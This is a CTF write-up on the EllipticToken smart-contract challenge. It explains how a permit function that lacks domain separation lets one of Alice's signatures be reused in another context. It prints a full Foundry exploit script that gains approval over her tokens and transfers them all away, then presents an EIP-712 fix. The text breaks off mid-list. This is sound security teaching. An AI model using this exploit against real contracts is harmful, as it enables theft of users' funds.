Appearance
Exploiting Domain Confusion: A Deep Dive into the EllipticToken CTF Challenge
Introduction
In the world of blockchain security, elliptic curve cryptography serves as the bedrock for digital signatures, enabling secure transactions and authentication mechanisms. However, even the most robust cryptographic systems can be compromised when developers take shortcuts or misunderstand fundamental principles. The EllipticToken CTF challenge presents a classic case of how "optimizations" in cryptographic implementations can lead to catastrophic security vulnerabilities.
This technical article will dissect the EllipticToken smart contract, explore the flawed implementation of the Elliptic Curve Digital Signature Algorithm (ECDSA), and demonstrate how domain confusion can be exploited to steal tokens. We'll examine the contract line by line, understand the cryptographic principles at play, and walk through the complete exploitation process.
Understanding the Challenge
The EllipticToken Contract Overview
The EllipticToken contract implements an ERC20 token with two distinctive features:
- Voucher Redemption System: Allows the contract owner (Bob) to create off-chain vouchers that can be redeemed on-chain for $ETK tokens.
- Permit System: Implements a signature-based approval mechanism similar to EIP-2612 permits, but with custom implementation.
Both systems rely on ECDSA signatures for authentication, but as we'll discover, the implementation contains critical flaws.
Key Components of the Contract
solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
import {Ownable} from "openzeppelin-contracts-08/access/Ownable.sol";
import {ECDSA} from "openzeppelin-contracts-08/utils/cryptography/ECDSA.sol";
import {ERC20} from "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
contract EllipticToken is Ownable, ERC20 {
error HashAlreadyUsed();
error InvalidOwner();
error InvalidReceiver();
error InvalidSpender();
constructor() ERC20("EllipticToken", "ETK") {}
mapping(bytes32 => bool) public usedHashes;
The contract inherits from OpenZeppelin's Ownable and ERC20 contracts and maintains a mapping to track used hashes, preventing replay attacks. At first glance, this seems like a standard implementation, but the devil is in the details.
The Flawed ECDSA Implementation
Understanding ECDSA Fundamentals
Before diving into the vulnerability, let's review how ECDSA works in a secure implementation:
- Message Preparation: The message to be signed is hashed using a cryptographic hash function.
- Domain Separation: The hash is typically prefixed with a domain separator to prevent cross-protocol attacks.
- Signing: The private key holder signs the prepared hash.
- Verification: The verifier recovers the signer's address from the signature and compares it with the expected address.
The critical step that's often overlooked is domain separation. In Ethereum, the standard practice is to use the \x19Ethereum Signed Message:\n32 prefix when signing messages for off-chain use. This prevents signatures intended for one context from being valid in another.
Analyzing the Voucher Redemption Function
solidity
function redeemVoucher(
uint256 amount,
address receiver,
bytes32 salt,
bytes memory ownerSignature,
bytes memory receiverSignature
) external {
bytes32 voucherHash = keccak256(abi.encodePacked(amount, receiver, salt));
require(!usedHashes[voucherHash], HashAlreadyUsed());
// Verify that the owner emitted the voucher
require(ECDSA.recover(voucherHash, ownerSignature) == owner(), InvalidOwner());
// Verify that the receiver accepted the voucher
require(ECDSA.recover(voucherHash, receiverSignature) == receiver, InvalidReceiver());
// Nullify the voucher
usedHashes[voucherHash] = true;
// Mint the tokens
_mint(receiver, amount);
}
The redeemVoucher function appears straightforward but contains a subtle issue. The hash is computed as keccak256(abi.encodePacked(amount, receiver, salt)) without any domain separation. This means the same signature could potentially be valid in multiple contexts if those contexts use the same hash computation.
The Critical Vulnerability: The Permit Function
solidity
function permit(uint256 amount, address spender, bytes memory tokenOwnerSignature, bytes memory spenderSignature)
external
{
bytes32 permitHash = keccak256(abi.encode(amount));
require(!usedHashes[permitHash], HashAlreadyUsed());
require(!usedHashes[bytes32(amount)], HashAlreadyUsed());
// Recover the token owner that emitted the permit
address tokenOwner = ECDSA.recover(bytes32(amount), tokenOwnerSignature);
// Verify that the spender accepted the permit
bytes32 permitAcceptHash = keccak256(abi.encodePacked(tokenOwner, spender, amount));
require(ECDSA.recover(permitAcceptHash, spenderSignature) == spender, InvalidSpender());
// Nullify the permit
usedHashes[permitHash] = true;
// Approve the spender
_approve(tokenOwner, spender, amount);
}
Here lies the heart of the vulnerability. Let's break down the issues:
Missing Domain Separation: The permit hash is computed as
keccak256(abi.encode(amount)), which is just the hash of the amount itself. There's no inclusion of the contract address, function name, or any domain separator.Direct Use of
bytes32(amount): The function checks!usedHashes[bytes32(amount)], which means any 256-bit value could be interpreted as a hash.Signature Recovery on Raw Data: Most critically, the function recovers the signer from
bytes32(amount)directly:ECDSA.recover(bytes32(amount), tokenOwnerSignature). This means if someone signs a message that happens to equal a specific amount value, that signature could be reused in the permit function.
The Exploitation Strategy
Understanding Domain Confusion
The core vulnerability is domain confusion. When Alice redeems a voucher, she signs keccak256(abi.encodePacked(amount, receiver, salt)). If this hash, when interpreted as a uint256, happens to be a value that someone has signed in a different context, that signature could be reused in the permit function.
The Attack Vector
The exploit script reveals the attack:
solidity
bytes memory ALICE_new_sig;
uint256 amount;
{
bytes32 Ar = 0x6690b7b1828659b74f651b5c64e8ef6f1be7ea7a397f1142adb158a1fc72a345;
bytes32 As = 0x3e388fdb86c60322291c4a66ba0cc2753a25b299d38c1f112c1c64b303ab3b99;
uint8 Av = 27;
amount = uint256(0xfd88e20204d45f037fd51c62055de1b4ef4d747295ecf6f01a305448aaf4131e);
ALICE_new_sig = abi.encodePacked(Ar, As, Av);
}
The attacker has obtained a signature from Alice where she signed the message 0xfd88e20204d45f037fd51c62055de1b4ef4d747295ecf6f01a305448aaf4131e. This value, when used in the permit function, becomes the bytes32(amount) that the signature is verified against.
Step-by-Step Exploitation
Obtain Alice's Signature: The attacker needs a signature from Alice on a specific message. In the CTF context, this might come from a voucher redemption transaction that was intercepted or from another protocol where Alice signed a similar message.
Craft the Permit Call: The attacker calls the
permitfunction with:amount: Set to the signed message value (0xfd88e20204d45f037fd51c62055de1b4ef4d747295ecf6f01a305448aaf4131e)spender: The attacker's addresstokenOwnerSignature: Alice's signature on the messagespenderSignature: The attacker's signature on the permit acceptance hash
Bypass the Hash Check: The function checks
!usedHashes[bytes32(amount)]. Sinceamountis the raw signed message, and assuming this specific value hasn't been used before, this check passes.Signature Verification:
ECDSA.recover(bytes32(amount), tokenOwnerSignature)will return Alice's address because she signed this exact message. The contract then approves the attacker to spend Alice's tokens.Transfer the Tokens: Once approved, the attacker can transfer all of Alice's $ETK tokens to themselves.
Complete Exploit Script
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
import {EllipticToken} from "../test/elliptictoken/EllipticToken.sol";
contract MyScript is Script {
function run() external {
address ELLIPTICTOKEN_INST = address(0x...);
address ALICE = address(0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e);
// Alice's signature on the message that will be used as the amount
bytes memory ALICE_new_sig;
uint256 amount;
{
bytes32 Ar = 0x6690b7b1828659b74f651b5c64e8ef6f1be7ea7a397f1142adb158a1fc72a345;
bytes32 As = 0x3e388fdb86c60322291c4a66ba0cc2753a25b299d38c1f112c1c64b303ab3b99;
uint8 Av = 27;
amount = uint256(0xfd88e20204d45f037fd51c62055de1b4ef4d747295ecf6f01a305448aaf4131e);
ALICE_new_sig = abi.encodePacked(Ar, As, Av);
}
// Get player's private key and address
uint256 playerpk = vm.envUint("PRIVATE_KEY");
address player = vm.addr(playerpk);
// Create spender signature for permit acceptance
bytes memory sig;
{
bytes32 permitAcceptHash = keccak256(abi.encodePacked(ALICE, player, amount));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerpk, permitAcceptHash);
sig = bytes.concat(r, s, bytes1(v));
}
// Execute the attack
vm.startBroadcast(playerpk);
// Step 1: Use Alice's signature to get approval
EllipticToken(ELLIPTICTOKEN_INST).permit(amount, player, ALICE_new_sig, sig);
// Step 2: Transfer all of Alice's tokens to the attacker
EllipticToken(ELLIPTICTOKEN_INST).transferFrom(
ALICE,
player,
EllipticToken(ELLIPTICTOKEN_INST).balanceOf(ALICE)
);
vm.stopBroadcast();
}
}
Cryptographic Analysis
Why This Attack Works
The vulnerability stems from multiple factors:
Lack of Domain Separation: The permit function doesn't include any context in the signed message. A signature valid in one context (voucher redemption) becomes valid in another (permit approval).
Type Confusion: The contract treats a
bytes32value interchangeably as both a hash and a rawuint256amount. This allows a signed message to be reinterpreted as an amount parameter.Missing Message Structure: Secure signature schemes should include:
- The contract address
- A domain separator
- The function name or purpose
- All relevant parameters in a canonical order
The Mathematics Behind the Attack
In ECDSA, a signature (r, s) is valid for a message m and public key Q if:
r = (kG).x mod n
s = k⁻¹(m + r*d) mod n
Where:
kis a random nonceGis the generator pointdis the private keynis the curve order
The vulnerability occurs because the same (r, s) pair is valid for recovering the signer from both:
- The original signed message
m - Any other context that uses
mdirectly as the hash to verify
Secure Implementation Guidelines
How to Fix the EllipticToken Contract
A secure implementation would include:
- Proper Domain Separation:
solidity
function getPermitHash(uint256 amount, address spender) public view returns (bytes32) {
return keccak256(abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(
keccak256("Permit(address owner,address spender,uint256 amount)"),
msg.sender,
spender,
amount
))
));
}
- Include Context in All Signatures:
solidity
function getVoucherHash(uint256 amount, address receiver, bytes32 salt) public view returns (bytes32) {
return keccak256(abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
keccak256(abi.encode(
keccak256("Voucher(uint256 amount,address receiver,bytes32 salt)"),
amount,
receiver,
salt
))
));
}
- Never Use Raw Data as Hash Inputs:
solidity
// NEVER DO THIS:
address tokenOwner = ECDSA.recover(bytes32(amount), tokenOwnerSignature);
// ALWAYS DO THIS:
bytes32 permitHash = getPermitHash(amount, spender);
address tokenOwner = ECDSA.recover(permitHash, tokenOwnerSignature);
Complete Secure Implementation
solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {EIP712} from "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract SecureEllipticToken is Ownable, ERC20, EIP712 {
error HashAlreadyUsed();
error InvalidOwner();
error InvalidReceiver();
error InvalidSpender();
bytes32 private constant VOUCHER_TYPEHASH =
keccak256("Voucher(uint256 amount,address receiver,bytes32 salt)");
bytes32 private constant PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 amount)");
constructor()
ERC20("SecureEllipticToken", "SETK")
EIP712("SecureEllipticToken", "1")
{}
mapping(bytes32 => bool) public usedHashes;
function redeemVoucher(
uint256 amount,
address receiver,
bytes32 salt,
bytes memory ownerSignature,
bytes memory receiverSignature
) external {
bytes32 voucherHash = _hashVoucher(amount, receiver, salt);
require(!usedHashes[voucherHash], HashAlreadyUsed());
// Verify owner signature
address recoveredOwner = ECDSA.recover(voucherHash, ownerSignature);
require(recoveredOwner == owner(), InvalidOwner());
// Verify receiver signature
address recoveredReceiver = ECDSA.recover(voucherHash, receiverSignature);
require(recoveredReceiver == receiver, InvalidReceiver());
usedHashes[voucherHash] = true;
_mint(receiver, amount);
}
function permit(
address owner,
address spender,
uint256 amount,
bytes memory tokenOwnerSignature,
bytes memory spenderSignature
) external {
bytes32 permitHash = _hashPermit(owner, spender, amount);
require(!usedHashes[permitHash], HashAlreadyUsed());
// Verify token owner signature
address recoveredOwner = ECDSA.recover(permitHash, tokenOwnerSignature);
require(recoveredOwner == owner, InvalidOwner());
// Verify spender signature
bytes32 acceptHash = _hashTypedDataV4(
keccak256(abi.encode(
keccak256("PermitAccept(address owner,address spender,uint256 amount)"),
owner,
spender,
amount
))
);
address recoveredSpender = ECDSA.recover(acceptHash, spenderSignature);
require(recoveredSpender == spender, InvalidSpender());
usedHashes[permitHash] = true;
_approve(owner, spender, amount);
}
function _hashVoucher(uint256 amount, address receiver, bytes32 salt)
internal view returns (bytes32)
{
return _hashTypedDataV4(
keccak256(abi.encode(
VOUCHER_TYPEHASH,
amount,
receiver,
salt
))
);
}
function _hashPermit(address owner, address spender, uint256 amount)
internal view returns (bytes32)
{
return _hashTypedDataV4(
keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
amount
))
);
}
}
Broader Implications and Lessons
Security Principles Violated
The EllipticToken vulnerability demonstrates several critical security failures:
Cryptographic Agility: Never assume a signature scheme is secure without proper context and domain separation.
Principle of Least Privilege: The permit function grants approval based on a signature without verifying the signer's intent in the specific context.
Defense in Depth: The contract lacks multiple layers of validation that could have prevented the attack.
Real-World Parallels
Similar vulnerabilities have been discovered in real-world systems:
- Cross-Protocol Attacks: Signatures from one DeFi protocol being valid in another